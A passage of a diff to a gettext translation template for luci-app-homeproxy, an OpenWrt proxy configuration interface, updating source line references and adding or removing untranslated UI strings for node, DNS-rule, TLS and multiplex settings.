mode" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/node.js:1173 #: htdocs/luci-static/resources/view/homeproxy/server.js:392 msgid "" "Legacy protocol support (VMess MD5 Authentication) is provided for " "compatibility purposes only, use of alterId > 1 is not recommended." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:365 +#: htdocs/luci-static/resources/view/homeproxy/client.js:348 msgid "Less compatibility and sometimes better performance." msgstr "" @@ -1421,35 +1378,31 @@ msgstr "" msgid "Let's Encrypt" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1077 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1327 msgid "" "List of IP (v4 or v6) addresses prefixes to be assigned to the interface." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:555 -msgid "List of manually selectable nodes." -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/client.js:172 -#: htdocs/luci-static/resources/view/homeproxy/client.js:201 -#: htdocs/luci-static/resources/view/homeproxy/client.js:540 +#: htdocs/luci-static/resources/view/homeproxy/client.js:157 +#: htdocs/luci-static/resources/view/homeproxy/client.js:186 +#: htdocs/luci-static/resources/view/homeproxy/client.js:520 msgid "List of nodes to test." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1216 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1466 #: htdocs/luci-static/resources/view/homeproxy/server.js:566 msgid "List of supported application level protocols, in order of preference." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1439 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1251 msgid "List of text DNS record to respond as answers." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1449 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1261 msgid "List of text DNS record to respond as extra records." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1444 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1256 msgid "List of text DNS record to respond as name servers." msgstr "" @@ -1457,7 +1410,7 @@ msgstr "" msgid "Listen address" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1619 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1430 msgid "Listen interfaces" msgstr "" @@ -1469,15 +1422,11 @@ msgstr "" msgid "Loading" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:657 -msgid "Loading..." -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/client.js:1546 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1358 msgid "Local" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1076 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1326 msgid "Local address" msgstr "" @@ -1489,31 +1438,31 @@ msgstr "" msgid "Log is empty." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1110 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1360 msgid "MTU" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:190 +#: htdocs/luci-static/resources/view/homeproxy/client.js:175 msgid "Main UDP node" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:162 +#: htdocs/luci-static/resources/view/homeproxy/client.js:147 msgid "Main node" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:874 +#: htdocs/luci-static/resources/view/homeproxy/client.js:685 msgid "Make IP CIDR in rule set used to match the source IP." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1346 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1158 msgid "Make IP CIDR in rule sets match the source IP." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1350 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1162 msgid "Make IP CIDR in rule-sets accept empty query response." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1115 +#: htdocs/luci-static/resources/view/homeproxy/client.js:928 msgid "" "Make each DNS server's cache independent for special purposes. If enabled, " "will slightly degrade performance." @@ -1523,109 +1472,109 @@ msgstr "" msgid "Masquerade" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1479 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1291 msgid "" "Match IP CIDR with query response. Current rule will be skipped if not match." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1041 +#: htdocs/luci-static/resources/view/homeproxy/client.js:854 msgid "Match IP CIDR." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1021 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1459 +#: htdocs/luci-static/resources/view/homeproxy/client.js:834 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1271 msgid "Match domain suffix." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1025 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1463 +#: htdocs/luci-static/resources/view/homeproxy/client.js:838 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1275 msgid "Match domain using keyword." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1029 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1467 +#: htdocs/luci-static/resources/view/homeproxy/client.js:842 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1279 msgid "Match domain using regular expression." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1016 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1454 +#: htdocs/luci-static/resources/view/homeproxy/client.js:829 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1266 msgid "Match full domain." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1064 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1503 +#: htdocs/luci-static/resources/view/homeproxy/client.js:877 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1315 msgid "Match port range. Format as START:/:END/START:END." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1059 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1498 +#: htdocs/luci-static/resources/view/homeproxy/client.js:872 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1310 msgid "Match port." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1045 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1483 +#: htdocs/luci-static/resources/view/homeproxy/client.js:858 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1295 msgid "Match private IP" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1484 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1296 msgid "Match private IP with query response." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1037 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1475 +#: htdocs/luci-static/resources/view/homeproxy/client.js:850 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1287 msgid "Match private source IP" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1069 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1508 +#: htdocs/luci-static/resources/view/homeproxy/client.js:882 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1320 msgid "Match process name." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1077 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1516 +#: htdocs/luci-static/resources/view/homeproxy/client.js:890 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1328 msgid "Match process path using regular expression." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1073 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1512 +#: htdocs/luci-static/resources/view/homeproxy/client.js:886 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1324 msgid "Match process path." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1307 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1119 msgid "Match query type." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:859 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1331 +#: htdocs/luci-static/resources/view/homeproxy/client.js:670 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1143 msgid "Match rule set." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1033 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1471 +#: htdocs/luci-static/resources/view/homeproxy/client.js:846 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1283 msgid "Match source IP CIDR." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1054 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1493 +#: htdocs/luci-static/resources/view/homeproxy/client.js:867 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1305 msgid "Match source port range. Format as START:/:END/START:END." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1049 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1488 +#: htdocs/luci-static/resources/view/homeproxy/client.js:862 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1300 msgid "Match source port." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:855 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1327 +#: htdocs/luci-static/resources/view/homeproxy/client.js:666 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1139 msgid "Match user name." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:695 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1009 #: htdocs/luci-static/resources/view/homeproxy/server.js:261 msgid "Max download speed" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:696 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1010 #: htdocs/luci-static/resources/view/homeproxy/server.js:262 msgid "Max download speed in Mbps." msgstr "" @@ -1634,120 +1583,110 @@ msgstr "" msgid "Max time difference" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:702 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1016 #: htdocs/luci-static/resources/view/homeproxy/server.js:268 msgid "Max upload speed" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:703 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1017 #: htdocs/luci-static/resources/view/homeproxy/server.js:269 msgid "Max upload speed in Mbps." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1236 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1486 #: htdocs/luci-static/resources/view/homeproxy/server.js:578 msgid "Maximum TLS version" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1141 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1155 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1391 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1405 msgid "Maximum connections" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1153 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1403 msgid "" "Maximum multiplexed streams in a connection before opening a new connection." "
Conflict with %s and %s." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:581 -msgid "" -"Maximum regex length is 512 characters; preview and generation cap regex-" -"expanded nodes to prevent oversized groups." -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:1152 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1402 msgid "Maximum streams" msgstr "" -#: htdocs/luci-static/resources/homeproxy/dashboard.js:99 -msgid "MetaCubeXD Dashboard" -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/client.js:978 -#: htdocs/luci-static/resources/view/homeproxy/client.js:986 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1413 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1422 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1021 +#: htdocs/luci-static/resources/view/homeproxy/client.js:791 +#: htdocs/luci-static/resources/view/homeproxy/client.js:799 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1225 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1234 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1271 #: htdocs/luci-static/resources/view/homeproxy/server.js:452 msgid "Method" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1228 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1478 #: htdocs/luci-static/resources/view/homeproxy/server.js:570 msgid "Minimum TLS version" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:636 +#: htdocs/luci-static/resources/view/homeproxy/node.js:950 msgid "Minimum idle sessions" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1147 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1397 msgid "" "Minimum multiplexed streams in a connection before opening a new connection." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1146 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1155 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1396 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1405 msgid "Minimum streams" msgstr "" -#: htdocs/luci-static/resources/homeproxy/tcping.js:211 -msgid "Missing" +#: htdocs/luci-static/resources/view/homeproxy/node.js:1773 +msgid "Minutes(0-59) Hours(0-23) Dates(1-31) Months(1-12) Weeks(0-6)" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:350 +#: htdocs/luci-static/resources/view/homeproxy/client.js:333 #: htdocs/luci-static/resources/view/homeproxy/server.js:183 msgid "Mixed" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:361 +#: htdocs/luci-static/resources/view/homeproxy/client.js:344 msgid "Mixed system TCP stack and gVisor UDP stack." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:807 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1286 +#: htdocs/luci-static/resources/view/homeproxy/client.js:618 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1098 msgid "Mode" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1344 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1594 #: htdocs/luci-static/resources/view/homeproxy/server.js:850 msgid "MultiPath TCP" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1124 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1374 #: htdocs/luci-static/resources/view/homeproxy/server.js:500 msgid "Multiplex" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1132 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1382 msgid "Multiplex protocol." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:62 +#: htdocs/luci-static/resources/view/homeproxy/client.js:65 #: htdocs/luci-static/resources/view/homeproxy/server.js:60 msgid "NOT RUNNING" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1634 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1835 msgid "NOTE: Save current settings before updating subscriptions." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1443 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1255 msgid "NS" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:891 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1141 msgid "Native" msgstr "" @@ -1755,170 +1694,129 @@ msgstr "" msgid "NaïveProxy" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:849 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1310 +#: htdocs/luci-static/resources/view/homeproxy/client.js:660 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1122 #: htdocs/luci-static/resources/view/homeproxy/server.js:866 msgid "Network" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:881 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1131 msgid "New Reno" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:954 -#: htdocs/luci-static/resources/view/homeproxy/node.js:971 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1204 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1221 #: htdocs/luci-static/resources/view/homeproxy/server.js:400 #: htdocs/luci-static/resources/view/homeproxy/server.js:417 msgid "No TCP transport, plain HTTP is merged into the HTTP transport." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:969 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1219 #: htdocs/luci-static/resources/view/homeproxy/server.js:415 msgid "No additional encryption support: It's basically duplicate encryption." msgstr "" -#: htdocs/luci-static/resources/homeproxy/tcping.js:208 -msgid "No address" -msgstr "" - -#: htdocs/luci-static/resources/homeproxy/node-filter.js:70 -msgid "No effective nodes." -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/backup.js:69 -msgid "No files." -msgstr "" - -#: htdocs/luci-static/resources/homeproxy/tcping.js:300 -msgid "" -"No latency column was found on this page. Force-refresh the page and try " -"again." -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:1651 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1852 msgid "No subscription available" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1701 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1877 msgid "No subscription node" msgstr "" -#: htdocs/luci-static/resources/homeproxy/tcping.js:283 -msgid "No testable nodes." -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:1504 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1704 msgid "No valid share link found." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:459 -#: htdocs/luci-static/resources/view/homeproxy/node.js:491 +#: htdocs/luci-static/resources/view/homeproxy/client.js:442 +#: htdocs/luci-static/resources/view/homeproxy/node.js:719 msgid "Node" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:84 -msgid "" -"Node %s is still referenced by these settings. Remove the references before " -"deleting the node." -msgstr "" - #: root/usr/share/luci/menu.d/luci-app-homeproxy.json:22 msgid "Node Settings" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:607 -msgid "Node exclude regex" -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/client.js:578 -msgid "Node regex" -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/node.js:1441 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1650 msgid "Nodes" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1204 -#: htdocs/luci-static/resources/view/homeproxy/node.js:917 -#: htdocs/luci-static/resources/view/homeproxy/node.js:955 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1017 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1167 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1205 #: htdocs/luci-static/resources/view/homeproxy/server.js:386 #: htdocs/luci-static/resources/view/homeproxy/server.js:401 msgid "None" msgstr "" -#: htdocs/luci-static/resources/homeproxy/tcping.js:217 -msgid "Not loaded" +#: htdocs/luci-static/resources/view/homeproxy/node.js:494 +#: htdocs/luci-static/resources/view/homeproxy/node.js:507 +msgid "Not Tested" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:689 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1003 #: htdocs/luci-static/resources/view/homeproxy/server.js:294 msgid "Obfuscate password" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:683 +#: htdocs/luci-static/resources/view/homeproxy/node.js:997 #: htdocs/luci-static/resources/view/homeproxy/server.js:288 msgid "Obfuscate type" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1620 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1431 msgid "Only process traffic from specific interfaces. Leave empty for all." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:294 +#: htdocs/luci-static/resources/view/homeproxy/client.js:277 msgid "Only proxy mainland China" msgstr "" -#: htdocs/luci-static/resources/homeproxy/node-filter.js:77 -msgid "" -"Only the first %d effective nodes are shown. Narrow the regex to avoid " -"generating an oversized node group." -msgstr "" - -#: htdocs/luci-static/resources/view/homeproxy/client.js:792 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1271 +#: htdocs/luci-static/resources/view/homeproxy/client.js:603 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1083 msgid "Other fields" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:501 -#: htdocs/luci-static/resources/view/homeproxy/client.js:890 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1237 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1586 +#: htdocs/luci-static/resources/view/homeproxy/client.js:483 +#: htdocs/luci-static/resources/view/homeproxy/client.js:701 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1050 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1398 msgid "Outbound" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:460 +#: htdocs/luci-static/resources/view/homeproxy/client.js:443 msgid "Outbound node" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:906 +#: htdocs/luci-static/resources/view/homeproxy/client.js:719 msgid "Override address" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:392 +#: htdocs/luci-static/resources/view/homeproxy/client.js:375 msgid "Override destination" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:913 +#: htdocs/luci-static/resources/view/homeproxy/client.js:726 msgid "Override port" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:393 +#: htdocs/luci-static/resources/view/homeproxy/client.js:376 msgid "Override the connection destination address with the sniffed domain." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:907 +#: htdocs/luci-static/resources/view/homeproxy/client.js:720 msgid "Override the connection destination address." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:914 +#: htdocs/luci-static/resources/view/homeproxy/client.js:727 msgid "Override the connection destination port." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1023 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1273 msgid "PUT" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1066 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1316 msgid "Packet encoding" msgstr "" @@ -1930,77 +1828,77 @@ msgstr "" msgid "Panic" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:580 +#: htdocs/luci-static/resources/view/homeproxy/node.js:894 #: htdocs/luci-static/resources/view/homeproxy/server.js:210 msgid "Password" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1177 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1557 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1016 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1049 +#: htdocs/luci-static/resources/view/homeproxy/client.js:990 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1369 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1266 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1299 #: htdocs/luci-static/resources/view/homeproxy/server.js:447 #: htdocs/luci-static/resources/view/homeproxy/server.js:477 msgid "Path" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1091 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1341 msgid "Peer pubkic key" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:369 +#: htdocs/luci-static/resources/view/homeproxy/client.js:352 msgid "" "Performance may degrade slightly, so it is not recommended to enable on when " "it is not needed." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1116 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1366 msgid "Persistent keepalive interval" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1035 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1285 #: htdocs/luci-static/resources/view/homeproxy/server.js:464 msgid "Ping timeout" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:746 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1060 msgid "Plugin" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:753 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1067 msgid "Plugin opts" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1058 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1172 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1497 -#: htdocs/luci-static/resources/view/homeproxy/node.js:548 +#: htdocs/luci-static/resources/view/homeproxy/client.js:871 +#: htdocs/luci-static/resources/view/homeproxy/client.js:985 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1309 +#: htdocs/luci-static/resources/view/homeproxy/node.js:883 msgid "Port" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:316 +#: htdocs/luci-static/resources/view/homeproxy/client.js:299 msgid "Port %s alrealy exists!" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:794 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1273 +#: htdocs/luci-static/resources/view/homeproxy/client.js:605 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1085 msgid "Port fields" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:652 +#: htdocs/luci-static/resources/view/homeproxy/node.js:966 msgid "Port hopping interval in seconds." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1063 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1502 +#: htdocs/luci-static/resources/view/homeproxy/client.js:876 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1314 msgid "Port range" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1098 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1348 msgid "Pre-shared key" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1361 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1173 msgid "Predefined" msgstr "" @@ -2012,106 +1910,110 @@ msgstr "" msgid "Prefer IPv6" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:858 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1083 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1108 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1333 msgid "Private key" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:863 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1113 msgid "Private key passphrase" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:795 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1274 +#: htdocs/luci-static/resources/view/homeproxy/node.js:484 +msgid "Probe failed" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/client.js:606 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1086 msgid "Process fields" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1068 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1507 +#: htdocs/luci-static/resources/view/homeproxy/client.js:881 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1319 msgid "Process name" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1072 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1511 +#: htdocs/luci-static/resources/view/homeproxy/client.js:885 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1323 msgid "Process path" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1076 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1515 +#: htdocs/luci-static/resources/view/homeproxy/client.js:889 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1327 msgid "Process path (regex)" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:827 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1315 -#: htdocs/luci-static/resources/view/homeproxy/node.js:659 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1131 +#: htdocs/luci-static/resources/view/homeproxy/client.js:638 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1127 +#: htdocs/luci-static/resources/view/homeproxy/node.js:973 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1381 #: htdocs/luci-static/resources/view/homeproxy/server.js:250 msgid "Protocol" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:947 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1197 msgid "Protocol parameter. Enable length block encryption." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:940 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1190 msgid "" "Protocol parameter. Will waste traffic randomly if enabled (enabled by " "default in v2ray and cannot be disabled)." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1694 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1505 msgid "Proxy Domain List" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1649 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1678 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1460 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1489 msgid "Proxy IPv4 IP-s" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1652 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1681 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1463 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1492 msgid "Proxy IPv6 IP-s" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1655 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1466 msgid "Proxy MAC-s" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1636 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1447 msgid "Proxy all except listed" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1633 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1444 msgid "Proxy filter mode" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:1635 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1446 msgid "Proxy listed only" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:324 +#: 